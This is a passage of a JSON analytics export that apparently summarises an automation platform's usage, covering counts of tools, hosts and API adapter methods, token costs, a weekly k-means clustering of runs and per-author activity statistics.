name":"deno","kind":"tool","plays":35,"steps":61,"source":"declared"},{"name":"jq","kind":"tool","plays":19,"steps":37,"source":"declared"},{"name":"git","kind":"tool","plays":14,"steps":37,"source":"declared"},{"name":"browser","kind":"tool","plays":13,"steps":62,"source":"declared"},{"name":"gh","kind":"tool","plays":8,"steps":13,"source":"declared"},{"name":"rote","kind":"tool","plays":6,"steps":7,"source":"declared"},{"name":"echo","kind":"tool","plays":6,"steps":6,"source":"declared"},{"name":"kubectl","kind":"tool","plays":3,"steps":6,"source":"declared"},{"name":"python3.11","kind":"tool","plays":3,"steps":6,"source":"declared"},{"name":"fs","kind":"library","plays":3,"steps":5,"source":"inferred"},{"name":"python","kind":"tool","plays":3,"steps":3,"source":"declared"},{"name":"env","kind":"tool","plays":3,"steps":3,"source":"declared"},{"name":"raw.githubusercontent.com","kind":"host","plays":2,"steps":4,"source":"inferred"},{"name":"path","kind":"library","plays":2,"steps":4,"source":"inferred"},{"name":"sed","kind":"tool","plays":2,"steps":4,"source":"declared"},{"name":"registry.npmjs.org","kind":"host","plays":2,"steps":3,"source":"inferred"},{"name":"df","kind":"tool","plays":2,"steps":3,"source":"declared"},{"name":"api.github.com","kind":"host","plays":2,"steps":2,"source":"inferred"},{"name":"status.openai.com","kind":"host","plays":2,"steps":2,"source":"inferred"},{"name":"status.supabase.com","kind":"host","plays":2,"steps":2,"source":"inferred"},{"name":"www.cloudflarestatus.com","kind":"host","plays":2,"steps":2,"source":"inferred"},{"name":"www.githubstatus.com","kind":"host","plays":2,"steps":2,"source":"inferred"},{"name":"date","kind":"tool","plays":2,"steps":2,"source":"declared"},{"name":"verify","kind":"tool","plays":2,"steps":2,"source":"inferred"},{"name":"geocoding.geo.census.gov","kind":"host","plays":2,"steps":2,"source":"inferred"},{"name":"hazards.fema.gov","kind":"host","plays":2,"steps":2,"source":"inferred"},{"name":"diff","kind":"tool","plays":2,"steps":2,"source":"inferred"},{"name":"java","kind":"tool","plays":2,"steps":2,"source":"inferred"},{"name":"ls","kind":"tool","plays":2,"steps":2,"source":"declared"},{"name":"find","kind":"tool","plays":2,"steps":2,"source":"declared"},{"name":"javac","kind":"tool","plays":2,"steps":2,"source":"declared"},{"name":"uv","kind":"tool","plays":2,"steps":2,"source":"declared"},{"name":"api.osv.dev","kind":"host","plays":1,"steps":7,"source":"inferred"},{"name":"perf_hooks","kind":"library","plays":1,"steps":3,"source":"inferred"},{"name":"crypto","kind":"library","plays":1,"steps":3,"source":"inferred"}],"apis":[{"adapter":"github","plays":60,"steps":161,"display_name":"GitHub v3 REST API","host":"api.github.com","kind":"rest","tools":1108,"source":"modiqo/github","version":"0.0.2","protocol":null,"methods":[{"method":"repos/get","plays":14},{"method":"search/issues-and-pull-requests","plays":13},{"method":"issues/create","plays":13},{"method":"pulls/list","plays":5},{"method":"pulls/get","plays":5},{"method":"pulls/list-reviews","plays":4}]},{"adapter":"open-meteo","plays":13,"steps":16,"display_name":"open-meteo","host":"api.open-meteo.com","kind":"rest","tools":1,"source":"modiqo/open-meteo","version":"1.0.0","protocol":null,"methods":[{"method":"get_v1_forecast","plays":7},{"method":"forecast/get","plays":6}]},{"adapter":"gmail","plays":11,"steps":35,"display_name":"Gmail API","host":"gmail.googleapis.com","kind":"rest","tools":79,"source":"modiqo/gmail","version":"0.0.3","protocol":"google_discovery","methods":[{"method":"gmail.users.messages.list","plays":10},{"method":"gmail.users.messages.get","plays":9},{"method":"gmail.users.getProfile","plays":2}]},{"adapter":"hacker-news-api","plays":9,"steps":15,"display_name":"Hacker News Stories, Comments & User Profiles","host":"hacker-news.firebaseio.com/v0","kind":"rest","tools":10,"source":"modiqo/hacker-news-api","version":"1.0.0","protocol":null,"methods":[{"method":"stories/top","plays":7},{"method":"getItem","plays":2},{"method":"showstories.json","plays":2},{"method":"askstories.json","plays":1},{"method":"topstories.json","plays":1}]},{"adapter":"calendar","plays":8,"steps":19,"display_name":"Calendar API","host":"www.googleapis.com/calendar/v3","kind":"rest","tools":37,"source":"modiqo/calendar","version":"0.0.4","protocol":"google_discovery","methods":[{"method":"calendar.events.list","plays":7},{"method":"calendar.events.insert","plays":1},{"method":"calendar.events.patch","plays":1}]},{"adapter":"linear","plays":8,"steps":12,"display_name":"linear","host":"api.linear.app/graphql","kind":"graphql","tools":496,"source":"modiqo/linear","version":"1.0.2","protocol":null,"methods":[{"method":"cycles/get","plays":6},{"method":"query/issues","plays":1},{"method":"mutation/issueCreate","plays":1}]},{"adapter":"cloudflare","plays":8,"steps":20,"display_name":"Cloudflare API","host":"api.cloudflare.com/client/v4","kind":"rest","tools":3286,"source":"modiqo/cloudflare","version":"1.0.0","protocol":null,"methods":[{"method":"zones/list","plays":6},{"method":"worker-script-list-workers","plays":2},{"method":"worker-deployments-list-deployments","plays":1},{"method":"worker-script-get-settings","plays":1},{"method":"accounts-list-accounts","plays":1},{"method":"pages-project-get-projects","plays":1}]},{"adapter":"ipapi","plays":8,"steps":8,"display_name":"ipapi.co IP Geolocation","host":"ipapi.co","kind":"rest","tools":2,"source":"jaylabs/ipapi","version":"1.0.1","protocol":null,"methods":[{"method":"ip/lookup","plays":7},{"method":"locateCallerIp","plays":1}]},{"adapter":"posthog-mcp","plays":8,"steps":11,"display_name":"PostHog","host":"mcp.posthog.com/mcp","kind":"mcp","tools":1,"source":"chetan/posthog-mcp","version":"1.0.0","protocol":null,"methods":[{"method":"events/list","plays":7},{"method":"exec","plays":1}]},{"adapter":"notion-mcp","plays":7,"steps":9,"display_name":"Notion MCP","host":"mcp.notion.com/mcp","kind":"mcp","tools":28,"source":"modiqo/notion-mcp","version":"1.0.0","protocol":null,"methods":[{"method":"databases/query","plays":5},{"method":"notion-search","plays":1},{"method":"notion-create-pages","plays":1}]},{"adapter":"slack","plays":7,"steps":7,"display_name":null,"host":null,"kind":"unknown","tools":null,"source":"samarthmm/slack","version":"1.0.0","protocol":null,"methods":[{"method":"channels/list","plays":6},{"method":"chat_postMessage","plays":1}]},{"adapter":"gmail-api","plays":7,"steps":25,"display_name":"gmail-api","host":"gmail.googleapis.com","kind":"rest","tools":66,"source":"chaitanyagidwani/gmail-api","version":"1.0.0","protocol":null,"methods":[{"method":"gmail.users.messages.list","plays":5},{"method":"gmail.users.getProfile","plays":3},{"method":"gmail.users.messages.get","plays":3},{"method":"gmail.users.threads.get","plays":2},{"method":"gmail.users.threads.list","plays":1},{"method":"gmail.users.messages.send","plays":1}]},{"adapter":"stripe","plays":6,"steps":8,"display_name":"stripe","host":"api.stripe.com","kind":"rest","tools":587,"source":"modiqo/stripe","version":"0.0.2","protocol":null,"methods":[{"method":"balance/get","plays":5},{"method":"GetCharges","plays":1},{"method":"GetPayouts","plays":1}]},{"adapter":"exa-search","plays":4,"steps":17,"display_name":"exa-search","host":"api.exa.ai","kind":"rest","tools":7,"source":"saich-home/exa-search","version":"1.4.0","protocol":null,"methods":[{"method":"search","plays":3},{"method":"answer","plays":1},{"method":"getContents","plays":1}]},{"adapter":"exa-search-mcp","plays":3,"steps":6,"display_name":null,"host":null,"kind":"unknown","tools":null,"source":"soumavadas/exa-search-mcp","version":"1.0.0","protocol":null,"methods":[{"method":"web_fetch_exa","plays":3},{"method":"web_search_exa","plays":3}]},{"adapter":"open-meteo-air-quality","plays":2,"steps":2,"display_name":"open-meteo-air-quality","host":"air-quality-api.open-meteo.com","kind":"rest","tools":1,"source":"modiqo/open-meteo-air-quality","version":"1.0.0","protocol":null,"methods":[{"method":"get_v1_air_quality","plays":2}]},{"adapter":"open-meteo-geocoding","plays":2,"steps":2,"display_name":"open-meteo-geocoding","host":"geocoding-api.open-meteo.com","kind":"rest","tools":1,"source":"modiqo/open-meteo-geocoding","version":"1.0.0","protocol":null,"methods":[{"method":"searchLocations","plays":2}]},{"adapter":"elevenlabs","plays":1,"steps":2,"display_name":"elevenlabs","host":"api.elevenlabs.io","kind":"rest","tools":250,"source":"modiqo/elevenlabs","version":"0.0.2","protocol":null,"methods":[{"method":"text_to_speech_full","plays":1}]},{"adapter":"open-meteo-elevation","plays":1,"steps":1,"display_name":"open-meteo-elevation","host":"api.open-meteo.com","kind":"rest","tools":1,"source":"modiqo/open-meteo-elevation","version":"1.0.0","protocol":null,"methods":[{"method":"get_v1_elevation","plays":1}]},{"adapter":"manifold-markets","plays":1,"steps":2,"display_name":null,"host":null,"kind":"unknown","tools":null,"source":"himanshu-jha/manifold-markets","version":"1.0.0","protocol":null,"methods":[{"method":"searchMarkets","plays":1}]},{"adapter":"google-calendar-api","plays":1,"steps":2,"display_name":null,"host":null,"kind":"unknown","tools":null,"source":"chaitanyagidwani/google-calendar-api","version":"1.0.0","protocol":null,"methods":[{"method":"calendar.events.list","plays":1}]},{"adapter":"lmstudio","plays":1,"steps":2,"display_name":"lmstudio","host":"localhost:1234","kind":"rest","tools":2,"source":"robpumpaf/lmstudio","version":"1.0.0","protocol":null,"methods":[{"method":"createChatCompletion","plays":1}]},{"adapter":"github-api","plays":1,"steps":2,"display_name":"github-api","host":"api.github.com","kind":"rest","tools":1224,"source":"midhat/github-api","version":"1.0.0","protocol":null,"methods":[{"method":"issues/get","plays":1},{"method":"issues/list-comments","plays":1}]},{"adapter":"artifact-registry-api-v1","plays":1,"steps":4,"display_name":"artifact-registry-api-v1","host":"artifactregistry.googleapis.com","kind":"rest","tools":69,"source":"rusty-chirag/artifact-registry-api-v1","version":"1.0.0","protocol":null,"methods":[{"method":"artifactregistry.projects.locations.repositories.dockerImages.get","plays":1},{"method":"artifactregistry.projects.locations.repositories.packages.tags.get","plays":1},{"method":"artifactregistry.projects.locations.repositories.packages.versions.get","plays":1}]},{"adapter":"npm-registry","plays":1,"steps":1,"display_name":null,"host":null,"kind":"unknown","tools":null,"source":"aaryanp/npm-registry","version":"1.0.0","protocol":null,"methods":[{"method":"get_packageName_version","plays":1}]},{"adapter":"crucible","plays":1,"steps":3,"display_name":"crucible","host":"crucible.heavybit.com/mcp","kind":"mcp","tools":21,"source":"modiqo/crucible","version":"1.0.0","protocol":null,"methods":[{"method":"sales_and_commercial","plays":1},{"method":"which_skill","plays":1}]},{"adapter":"s3","plays":1,"steps":1,"display_name":null,"host":null,"kind":"unknown","tools":null,"source":null,"version":null,"protocol":null,"methods":[{"method":"buckets/list","plays":1}]},{"adapter":"redis","plays":1,"steps":1,"display_name":null,"host":null,"kind":"unknown","tools":null,"source":null,"version":null,"protocol":null,"methods":[{"method":"info/get","plays":1}]},{"adapter":"postgres","plays":1,"steps":1,"display_name":null,"host":null,"kind":"unknown","tools":null,"source":null,"version":null,"protocol":null,"methods":[{"method":"connections/get","plays":1}]},{"adapter":"datadog","plays":1,"steps":1,"display_name":null,"host":null,"kind":"unknown","tools":null,"source":null,"version":null,"protocol":null,"methods":[{"method":"slo/get","plays":1}]}],"cost":{"plays":46,"median_api_tokens":26297,"median_context_tokens":3691,"median_exploration_ms":5188,"total_api_tokens":6265871,"with_savings":10,"median_saved_per_run":18568},"models":[]},"landscape":{"method":{"model":"k-means under KL divergence, hard assignment, no time parameter","k":6,"seeds":8,"seed":20260907,"cost":20384,"vocabulary":155,"min_token_docs":2,"credit":"after Louis Abraham, The load-bearing vocabulary of Claude (MIT)"},"weeks":["2026-05-25","2026-06-29","2026-07-20","2026-07-27","2026-08-03","2026-08-10","2026-08-17","2026-08-24","2026-08-31"],"totals":[1,6,2,1,1,4,45,10,1094],"clusters":[{"id":3,"label":"python3","size":795,"share":68.3,"tokens":[{"token":"tag:static-analysis","ratio":35.56,"in":61,"out":0,"coverage":0.08},{"token":"tag:claude-code","ratio":7,"in":12,"out":0,"coverage":0.02},{"token":"tag:git","ratio":6.65,"in":57,"out":4,"coverage":0.07},{"token":"runner:python3","ratio":6.05,"in":3177,"out":305,"coverage":0.99},{"token":"tag:codex","ratio":5.83,"in":10,"out":0,"coverage":0.01},{"token":"tag:python3","ratio":4.66,"in":8,"out":0,"coverage":0.01},{"token":"tag:markdown","ratio":3.5,"in":6,"out":0,"coverage":0.01},{"token":"tag:npm","ratio":3.5,"in":6,"out":0,"coverage":0.01},{"token":"tag:github-actions","ratio":2.92,"in":10,"out":1,"coverage":0.01},{"token":"tag:shell","ratio":2.77,"in":38,"out":7,"coverage":0.05},{"token":"cli:diff","ratio":2.33,"in":4,"out":0,"coverage":0},{"token":"tag:dns","ratio":2.33,"in":4,"out":0,"coverage":0.01},{"token":"tag:lockfile","ratio":2.33,"in":4,"out":0,"coverage":0.01},{"token":"tag:chrome","ratio":1.75,"in":3,"out":0,"coverage":0},{"token":"tag:cli","ratio":1.75,"in":3,"out":0,"coverage":0},{"token":"tag:firefox","ratio":1.75,"in":3,"out":0,"coverage":0},{"token":"tag:jsonl","ratio":1.75,"in":3,"out":0,"coverage":0},{"token":"tag:kubernetes","ratio":1.75,"in":3,"out":0,"coverage":0},{"token":"tag:launchd","ratio":1.75,"in":3,"out":0,"coverage":0},{"token":"tag:pip","ratio":1.75,"in":3,"out":0,"coverage":0},{"token":"tag:python-ast","ratio":1.75,"in":3,"out":0,"coverage":0},{"token":"tag:safari","ratio":1.75,"in":3,"out":0,"coverage":0},{"token":"kind:shell","ratio":1.61,"in":3354,"out":1213,"coverage":1},{"token":"runner:bash","ratio":1.37,"in":158,"out":66,"coverage":0.2},{"token":"shape:fan-out","ratio":1.2,"in":232,"out":112,"coverage":0.29},{"token":"tag:python","ratio":1.17,"in":8,"out":3,"coverage":0.01},{"token":"tag:browser","ratio":1.17,"in":6,"out":2,"coverage":0.01},{"token":"tag:cargo","ratio":1.17,"in":2,"out":0,"coverage":0},{"token":"tag:cis-benchmark","ratio":1.17,"in":2,"out":0,"coverage":0},{"token":"tag:docker-compose","ratio":1.17,"in":2,"out":0,"coverage":0},{"token":"tag:dotenv","ratio":1.17,"in":2,"out":0,"coverage":0},{"token":"tag:du","ratio":1.17,"in":2,"out":0,"coverage":0},{"token":"tag:filesystem","ratio":1.17,"in":2,"out":0,"coverage":0},{"token":"tag:finder","ratio":1.17,"in":2,"out":0,"coverage":0},{"token":"tag:github-api","ratio":1.17,"in":2,"out":0,"coverage":0},{"token":"tag:helm","ratio":1.17,"in":2,"out":0,"coverage":0},{"token":"tag:json-schema","ratio":1.17,"in":2,"out":0,"coverage":0},{"token":"tag:mcp","ratio":1.17,"in":2,"out":0,"coverage":0},{"token":"tag:obsidian","ratio":1.17,"in":2,"out":0,"coverage":0},{"token":"tag:pdf","ratio":1.17,"in":2,"out":0,"coverage":0}],"weekly":[0,0,0,0,0,1,8,3,783],"cumulative":[0,0,0,0,0,1,9,12,795],"rank":1},{"id":1,"label":"node","size":150,"share":12.9,"tokens":[{"token":"runner:node","ratio":2544.64,"in":541,"out":0,"coverage":0.69},{"token":"cli:kubectl","ratio":56.44,"in":12,"out":0,"coverage":0.01},{"token":"lib:fs","ratio":47.04,"in":10,"out":0,"coverage":0.02},{"token":"host:raw.githubusercontent.com","ratio":37.63,"in":8,"out":0,"coverage":0.01},{"token":"lib:path","ratio":37.63,"in":8,"out":0,"coverage":0.01},{"token":"call:events/list","ratio":32.93,"in":7,"out":0,"coverage":0.05},{"token":"call:ip/lookup","ratio":32.93,"in":7,"out":0,"coverage":0.05},{"token":"call:stories/top","ratio":32.93,"in":7,"out":0,"coverage":0.05},{"token":"runner:sh","ratio":30.57,"in":91,"out":13,"coverage":0.22},{"token":"call:channels/list","ratio":28.22,"in":6,"out":0,"coverage":0.04},{"token":"call:cycles/get","ratio":28.22,"in":6,"out":0,"coverage":0.04},{"token":"call:forecast/get","ratio":28.22,"in":6,"out":0,"coverage":0.04},{"token":"call:zones/list","ratio":28.22,"in":6,"out":0,"coverage":0.04},{"token":"cli:df","ratio":28.22,"in":6,"out":0,"coverage":0.01},{"token":"call:balance/get","ratio":23.52,"in":5,"out":0,"coverage":0.03},{"token":"call:databases/query","ratio":23.52,"in":5,"out":0,"coverage":0.03},{"token":"cli:curl","ratio":19.22,"in":94,"out":22,"coverage":0.19},{"token":"cli:find","ratio":18.81,"in":4,"out":0,"coverage":0.01},{"token":"cli:java","ratio":18.81,"in":4,"out":0,"coverage":0.01},{"token":"host:status.openai.com","ratio":18.81,"in":4,"out":0,"coverage":0.01},{"token":"host:status.supabase.com","ratio":18.81,"in":4,"out":0,"coverage":0.01},{"token":"host:www.cloudflarestatus.com","ratio":18.81,"in":4,"out":0,"coverage":0.01},{"token":"host:www.githubstatus.com","ratio":18.81,"in":4,"out":0,"coverage":0.01},{"token":"api:ipapi","ratio":16.46,"in":7,"out":1,"coverage":0.05},{"token":"api:slack","ratio":14.11,"in":6,"out":1,"coverage":0.04},{"token":"runner:python","ratio":14.11,"in":3,"out":0,"coverage":0.02},{"token":"cli:jq","ratio":13.86,"in":56,"out":18,"coverage":0.11},{"token":"cli:rote","ratio":9.41,"in":10,"out":4,"coverage":0.03},{"token":"api:posthog-mcp","ratio":6.59,"in":7,"out":4,"coverage":0.05},{"token":"cli:verify","ratio":6.27,"in":4,"out":2,"coverage":0.01},{"token":"api:stripe","ratio":5.88,"in":5,"out":3,"coverage":0.03},{"token":"api:notion-mcp","ratio":4.7,"in":5,"out":4,"coverage":0.03},{"token":"api:linear","ratio":4.03,"in":6,"out":6,"coverage":0.04},{"token":"api:hacker-news-api","ratio":3.66,"in":7,"out":8,"coverage":0.05},{"token":"host:api.github.com","ratio":3.14,"in":2,"out":2,"coverage":0.01},{"token":"tag:registry","ratio":3.14,"in":2,"out":2,"coverage":0.01},{"token":"shape:writes","ratio":2.99,"in":70,"out":109,"coverage":0.47},{"token":"shape:sessions","ratio":2.61,"in":61,"out":109,"coverage":0.41},{"token":"api:open-meteo","ratio":2.57,"in":6,"out":10,"coverage":0.04},{"token":"call:repos/get","ratio":2.35,"in":5,"out":9,"coverage":0.03}],"weekly":[0,0,0,0,0,0,9,2,139],"cumulative":[0,0,0,0,0,0,9,11,150],"rank":2},{"id":0,"label":"github","size":100,"share":8.6,"tokens":[{"token":"api:github","ratio":240.08,"in":155,"out":6,"coverage":0.54},{"token":"call:issues/create","ratio":140.95,"in":13,"out":0,"coverage":0.13},{"token":"call:search/issues-and-pull-requests","ratio":140.95,"in":13,"out":0,"coverage":0.13},{"token":"api:exa-search-mcp","ratio":65.05,"in":6,"out":0,"coverage":0.03},{"token":"call:pulls/get","ratio":54.21,"in":5,"out":0,"coverage":0.05},{"token":"call:pulls/list","ratio":54.21,"in":5,"out":0,"coverage":0.05},{"token":"call:pulls/list-reviews","ratio":43.37,"in":4,"out":0,"coverage":0.04},{"token":"call:users/get-authenticated","ratio":43.37,"in":4,"out":0,"coverage":0.04},{"token":"call:actions/list-workflow-runs-for-repo","ratio":32.53,"in":3,"out":0,"coverage":0.03},{"token":"call:issues/get","ratio":32.53,"in":3,"out":0,"coverage":0.03},{"token":"call:issues/list-comments","ratio":32.53,"in":3,"out":0,"coverage":0.03},{"token":"call:repos/list-contributors","ratio":32.53,"in":3,"out":0,"coverage":0.03},{"token":"call:web_fetch_exa","ratio":32.53,"in":3,"out":0,"coverage":0.03},{"token":"call:web_search_exa","ratio":32.53,"in":3,"out":0,"coverage":0.03},{"token":"call:checks/list-for-ref","ratio":21.68,"in":2,"out":0,"coverage":0.02},{"token":"call:issues/list-for-repo","ratio":21.68,"in":2,"out":0,"coverage":0.02},{"token":"call:pulls/list-files","ratio":21.68,"in":2,"out":0,"coverage":0.02},{"token":"call:pulls/list-requested-reviewers","ratio":21.68,"in":2,"out":0,"coverage":0.02},{"token":"call:pulls/list-review-comments","ratio":21.68,"in":2,"out":0,"coverage":0.02},{"token":"call:repos/get-combined-status-for-ref","ratio":21.68,"in":2,"out":0,"coverage":0.02},{"token":"call:repos/get-commit","ratio":21.68,"in":2,"out":0,"coverage":0.02},{"token":"call:repos/get-content","ratio":21.68,"in":2,"out":0,"coverage":0.02},{"token":"call:repos/get-readme","ratio":21.68,"in":2,"out":0,"coverage":0.02},{"token":"call:repos/get-release-by-tag","ratio":21.68,"in":2,"out":0,"coverage":0.02},{"token":"call:repos/list-for-user","ratio":21.68,"in":2,"out":0,"coverage":0.02},{"token":"call:repos/list-pull-requests-associated-with-commit","ratio":21.68,"in":2,"out":0,"coverage":0.02},{"token":"call:repos/list-releases","ratio":21.68,"in":2,"out":0,"coverage":0.02},{"token":"call:search/repos","ratio":21.68,"in":2,"out":0,"coverage":0.02},{"token":"tag:notion","ratio":21.68,"in":2,"out":0,"coverage":0.02},{"token":"tag:github","ratio":18.07,"in":10,"out":5,"coverage":0.1},{"token":"kind:auth","ratio":17.04,"in":55,"out":34,"coverage":0.52},{"token":"call:repos/get","ratio":16.26,"in":9,"out":5,"coverage":0.09},{"token":"kind:api","ratio":8.43,"in":140,"out":179,"coverage":0.68},{"token":"shape:sessions","ratio":7.51,"in":70,"out":100,"coverage":0.7},{"token":"api:notion-mcp","ratio":7.23,"in":4,"out":5,"coverage":0.02},{"token":"tag:gh","ratio":5.42,"in":1,"out":1,"coverage":0.01},{"token":"call:search","ratio":2.71,"in":1,"out":3,"coverage":0.01},{"token":"runner:deno","ratio":2.09,"in":10,"out":51,"coverage":0.04},{"token":"api:linear","ratio":1.97,"in":2,"out":10,"coverage":0.01},{"token":"cli:rote","ratio":1.67,"in":2,"out":12,"coverage":0.01}],"weekly":[1,6,2,0,0,1,9,2,79],"cumulative":[1,7,9,9,9,10,19,21,100],"rank":3},{"id":4,"label":"messages.list · deno","size":51,"share":4.4,"tokens":[{"token":"api:gmail","ratio":355.01,"in":34,"out":1,"coverage":0.2},{"token":"api:exa-search","ratio":355.01,"in":17,"out":0,"coverage":0.08},{"token":"call:messages.list","ratio":313.25,"in":15,"out":0,"coverage":0.29},{"token":"call:messages.get","ratio":250.6,"in":12,"out":0,"coverage":0.24},{"token":"api:gmail-api","ratio":160.1,"in":23,"out":2,"coverage":0.12},{"token":"call:users.getprofile","ratio":104.42,"in":5,"out":0,"coverage":0.1},{"token":"api:calendar","ratio":83.53,"in":16,"out":3,"coverage":0.12},{"token":"runner:deno","ratio":78.71,"in":49,"out":12,"coverage":0.57},{"token":"call:events.list","ratio":73.09,"in":7,"out":1,"coverage":0.14},{"token":"api:cloudflare","ratio":41.77,"in":14,"out":6,"coverage":0.04},{"token":"call:getitem","ratio":41.77,"in":2,"out":0,"coverage":0.04},{"token":"call:showstories.json","ratio":41.77,"in":2,"out":0,"coverage":0.04},{"token":"call:threads.get","ratio":41.77,"in":2,"out":0,"coverage":0.04},{"token":"call:worker-script-list-workers","ratio":41.77,"in":2,"out":0,"coverage":0.04},{"token":"tag:cloudflare","ratio":41.77,"in":2,"out":0,"coverage":0.04},{"token":"tag:hacker-news","ratio":41.77,"in":2,"out":0,"coverage":0.04},{"token":"call:search","ratio":31.32,"in":3,"out":1,"coverage":0.06},{"token":"tag:gmail","ratio":27.84,"in":4,"out":2,"coverage":0.08},{"token":"api:hacker-news-api","ratio":20.88,"in":8,"out":7,"coverage":0.04},{"token":"kind:auth","ratio":11.52,"in":32,"out":57,"coverage":0.53},{"token":"api:posthog-mcp","ratio":10.44,"in":4,"out":7,"coverage":0.02},{"token":"api:stripe","ratio":10.44,"in":3,"out":5,"coverage":0.02},{"token":"api:linear","ratio":9.28,"in":4,"out":8,"coverage":0.02},{"token":"kind:api","ratio":8.95,"in":96,"out":223,"coverage":0.61},{"token":"tag:google-calendar","ratio":6.96,"in":1,"out":2,"coverage":0.02},{"token":"shape:sessions","ratio":4.09,"in":28,"out":142,"coverage":0.55},{"token":"api:slack","ratio":2.98,"in":1,"out":6,"coverage":0.02},{"token":"shape:deep","ratio":1.26,"in":9,"out":148,"coverage":0.18},{"token":"shape:fan-out","ratio":1.22,"in":19,"out":325,"coverage":0.37},{"token":"shape:writes","ratio":0.47,"in":4,"out":175,"coverage":0.08},{"token":"runner:sh","ratio":0.41,"in":2,"out":102,"coverage":0.02},{"token":"kind:shell","ratio":0.39,"in":84,"out":4483,"coverage":0.82},{"token":"runner:bash","ratio":0.38,"in":4,"out":220,"coverage":0.08},{"token":"runner:python3","ratio":0.18,"in":29,"out":3453,"coverage":0.2}],"weekly":[0,0,0,0,0,0,13,1,37],"cumulative":[0,0,0,0,0,0,13,14,51],"rank":4},{"id":5,"label":"git · bash","size":51,"share":4.4,"tokens":[{"token":"cli:git","ratio":685.47,"in":72,"out":2,"coverage":0.25},{"token":"cli:python3.11","ratio":342.74,"in":12,"out":0,"coverage":0.06},{"token":"cli:gh","ratio":228.49,"in":24,"out":2,"coverage":0.14},{"token":"cli:sed","ratio":228.49,"in":8,"out":0,"coverage":0.04},{"token":"cli:uv","ratio":114.25,"in":4,"out":0,"coverage":0.04},{"token":"host:geocoding.geo.census.gov","ratio":114.25,"in":4,"out":0,"coverage":0.04},{"token":"host:hazards.fema.gov","ratio":114.25,"in":4,"out":0,"coverage":0.04},{"token":"tag:rote","ratio":14.28,"in":1,"out":1,"coverage":0.02},{"token":"cli:verify","ratio":11.42,"in":2,"out":4,"coverage":0.02},{"token":"runner:bash","ratio":10.15,"in":59,"out":165,"coverage":0.59},{"token":"tag:python","ratio":9.52,"in":3,"out":8,"coverage":0.06},{"token":"cli:jq","ratio":9.02,"in":18,"out":56,"coverage":0.04},{"token":"tag:shell","ratio":5.13,"in":7,"out":38,"coverage":0.14},{"token":"tag:github-actions","ratio":2.6,"in":1,"out":10,"coverage":0.02},{"token":"tag:git","ratio":1.45,"in":3,"out":58,"coverage":0.06},{"token":"runner:sh","ratio":1.13,"in":4,"out":100,"coverage":0.06},{"token":"kind:shell","ratio":0.94,"in":146,"out":4421,"coverage":1},{"token":"shape:deep","ratio":0.55,"in":3,"out":154,"coverage":0.06},{"token":"runner:deno","ratio":0.47,"in":1,"out":60,"coverage":0.02},{"token":"shape:fan-out","ratio":0.25,"in":3,"out":341,"coverage":0.06},{"token":"runner:python3","ratio":0.16,"in":19,"out":3463,"coverage":0.18},{"token":"shape:writes","ratio":0.16,"in":1,"out":178,"coverage":0.02}],"weekly":[0,0,0,0,0,0,3,2,46],"cumulative":[0,0,0,0,0,0,3,5,51],"rank":5},{"id":2,"label":"open-meteo · browser","size":17,"share":1.5,"tokens":[{"token":"cli:browser","ratio":4152.55,"in":124,"out":0,"coverage":0.76},{"token":"kind:browser","ratio":2076.27,"in":62,"out":0,"coverage":0.76},{"token":"call:get_v1_forecast","ratio":234.42,"in":7,"out":0,"coverage":0.41},{"token":"api:open-meteo-air-quality","ratio":66.98,"in":2,"out":0,"coverage":0.12},{"token":"api:open-meteo-geocoding","ratio":66.98,"in":2,"out":0,"coverage":0.12},{"token":"call:get_v1_air_quality","ratio":66.98,"in":2,"out":0,"coverage":0.12},{"token":"call:searchlocations","ratio":66.98,"in":2,"out":0,"coverage":0.12},{"token":"tag:open-meteo","ratio":66.98,"in":2,"out":0,"coverage":0.12},{"token":"api:open-meteo","ratio":47.84,"in":10,"out":6,"coverage":0.41},{"token":"tag:browser","ratio":9.57,"in":2,"out":6,"coverage":0.12},{"token":"api:ipapi","ratio":4.19,"in":1,"out":7,"coverage":0.06},{"token":"shape:deep","ratio":2.51,"in":11,"out":146,"coverage":0.65},{"token":"shape:sessions","ratio":2.3,"in":11,"out":159,"coverage":0.65},{"token":"kind:api","ratio":2,"in":18,"out":301,"coverage":0.47},{"token":"runner:sh","ratio":0.98,"in":3,"out":101,"coverage":0.06},{"token":"shape:fan-out","ratio":0.39,"in":4,"out":340,"coverage":0.24},{"token":"runner:python3","ratio":0.36,"in":37,"out":3445,"coverage":0.71},{"token":"kind:shell","ratio":0.3,"in":41,"out":4526,"coverage":0.76},{"token":"runner:bash","ratio":0.15,"in":1,"out":223,"coverage":0.06}],"weekly":[0,0,0,1,1,2,3,0,10],"cumulative":[0,0,0,1,2,4,7,7,17],"rank":6}]},"authors":[{"owner":"lgoyal6","author":"lgoyal6","plays":164,"steps":548,"median_steps":3,"kinds":{"api":2,"shell":541,"browser":5},"apis":[{"name":"hacker-news-api","plays":1}],"tools":[{"name":"python3","plays":161},{"name":"bash","plays":156},{"name":"git","plays":2},{"name":"browser","plays":1},{"name":"env","plays":1}],"clusters":[{"name":"python3","plays":157},{"name":"git · bash","plays":5},{"name":"messages.list · deno","plays":1},{"name":"open-meteo · browser","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-04T22:28:10.158828+00:00","last":"2026-09-06T05:55:03.865667+00:00"},{"owner":"ameykaulavkar","author":"ameykaulavkar","plays":83,"steps":347,"median_steps":4,"kinds":{"api":0,"shell":347,"browser":0},"apis":[],"tools":[{"name":"python3","plays":83}],"clusters":[{"name":"python3","plays":83}],"read_only_share":100,"cost_plays":0,"first":"2026-09-05T13:56:40.209975+00:00","last":"2026-09-06T07:49:09.539471+00:00"},{"owner":"sakshamsai26","author":"Saksham","plays":81,"steps":821,"median_steps":10,"kinds":{"api":18,"shell":785,"browser":0},"apis":[{"name":"github","plays":18}],"tools":[{"name":"python3","plays":81}],"clusters":[{"name":"python3","plays":63},{"name":"github","plays":18}],"read_only_share":0,"cost_plays":0,"first":"2026-09-05T07:01:03.95739+00:00","last":"2026-09-05T12:20:17.542079+00:00"},{"owner":"himanshu-jha","author":"himanshu748","plays":77,"steps":404,"median_steps":5,"kinds":{"api":19,"shell":357,"browser":26},"apis":[{"name":"github","plays":2},{"name":"open-meteo","plays":1},{"name":"open-meteo-air-quality","plays":1},{"name":"open-meteo-geocoding","plays":1},{"name":"notion-mcp","plays":1},{"name":"hacker-news-api","plays":1}],"tools":[{"name":"python3","plays":74},{"name":"browser","plays":5},{"name":"python3.11","plays":3},{"name":"node","plays":1}],"clusters":[{"name":"python3","plays":62},{"name":"open-meteo · browser","plays":6},{"name":"github","plays":4},{"name":"git · 